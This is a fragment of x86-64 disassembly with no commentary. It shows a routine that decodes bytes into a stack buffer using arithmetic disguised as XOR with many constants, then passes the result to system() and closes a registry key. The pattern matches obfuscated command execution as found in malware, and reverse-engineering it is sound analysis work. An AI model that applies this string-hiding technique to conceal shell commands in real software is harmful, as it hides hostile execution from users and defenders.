jne 0x1400db66c
movzx ebx, r11b
mov edx, 0x33
lea r8d, [rbx + 0x16]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
jmp 0x1400db70b
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400db696
lea edx, [r11 - 0x20]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
inc r11
jmp 0x1400dade3
cmp rax, rdx
jne 0x1400db6c3
lea r8d, [r11 - 0x56]
mov edx, reloc.WLDAP32.dll_Ordinal_45
movzx ecx, r8b
inc r9
and cl, r10b
dec r11
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x1400dade3
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400db235
movzx ebx, r11b
lea edx, [rbx + 0x74]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x2c
jmp 0x1400db7d8
movzx edx, byte [rbp + r11 - 0x10]
movzx ebx, r11b
lea r8d, [rbx + 8]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub dl, cl
sub r8b, 0x38
add r8b, dl
add r8b, r10b
add bl, 0x6d
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
add bl, 5
add bl, r10b
add bl, r8b
mov byte [rbp + r11 - 0x10], bl
jmp 0x1400db835
lea r8d, [r11 - 0x2e]
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x1400db86a
lea edx, [r11 - 0x31]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x57
jmp 0x1400db86a
lea edx, [r11 + 0x3b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x63
jmp 0x1400db835
lea edx, [r11 - 0x59]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x6f
inc r11
jmp 0x1400dade3
movzx ebx, r11b
lea edx, [rbx + 0x13]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x7b
jmp 0x1400db7d8
movzx ebx, r11b
lea edx, [rbx + 0x7f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x79
sub bl, 0x5d
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
sub bl, 0x75
add bl, r10b
mov byte [rbp + r11 - 0x10], bl
inc r9
dec r11
inc r11
jmp 0x1400dade3
lea edx, [r11 - 0x15]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x6d
dec r11
inc r11
jmp 0x1400dade3
lea edx, [r11 + 0x57]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x61
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x1400dade3
lea rdx, [r11 + r15]
movzx r10d, bl
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x55
lea edx, [r11 + 0x37]
inc r9
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, 0x7f
add dl, r10b
movzx ecx, dl
mov byte [rbp + r11 - 0x10], cl
add rcx, r9
sub r11, rcx
lea edx, [r11 - 0x64]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 0x44
add dl, r10b
mov byte [rbp + r11 - 0x10], dl
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x10]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400dade3
lea rdx, [r11 + r14]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r8d, [rbx + rdx]
sub r8b, 0x49
movzx ecx, byte [rbp + r11 - 0x10]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400dade3
add r11b, 0x79
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x4f
jmp 0x1400dade0
sub r11b, 0x51
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r8d, [r10 + r11]
add r8b, 0x37
jmp 0x1400dadd0
lea rcx, [rbp + 0x16f17cc]
jmp 0x1400db945
lea rcx, [rbp + 0xc2b731]
jmp 0x1400db945
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x378]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret